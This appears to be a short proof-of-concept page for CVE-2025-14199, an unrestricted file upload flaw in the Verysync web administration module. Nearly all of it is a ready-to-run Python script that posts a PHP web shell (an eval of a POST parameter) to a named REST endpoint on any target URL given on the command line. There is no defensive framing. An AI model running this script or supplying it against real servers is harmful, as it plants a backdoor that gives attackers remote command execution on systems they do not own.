CVE-2025-14199: Verysync微力同步Web管理模块无限制文件上传漏洞

import requests import sys # CVE-2025-14199 PoC - Verysync Unrestricted File Upload # Target: Verysync Web Administration Module # Endpoint: /rest/f/api/resources/{uuid}/tmp/text.txt?override=false def upload_file(target_url, file_content): """ Upload arbitrary file to Verysync server """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json, text/plain, */*' } # The UUID path component appears to be a fixed or predictable value # In real attack scenario, attacker would need to identify valid UUID url = f"{target_url}/rest/f/api/resources/f96956469e7be39d/tmp/text.txt?override=false" try: response = requests.post(url, data=file_content, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14199-poc.py <target_url>") print("Example: python cve-2025-14199-poc.py http://192.168.1.100:8888") sys.exit(1) target = sys.argv[1] # Malicious file content (WebShell example) malicious_content = "<?php @eval($_POST['cmd']); ?>" upload_file(target, malicious_content)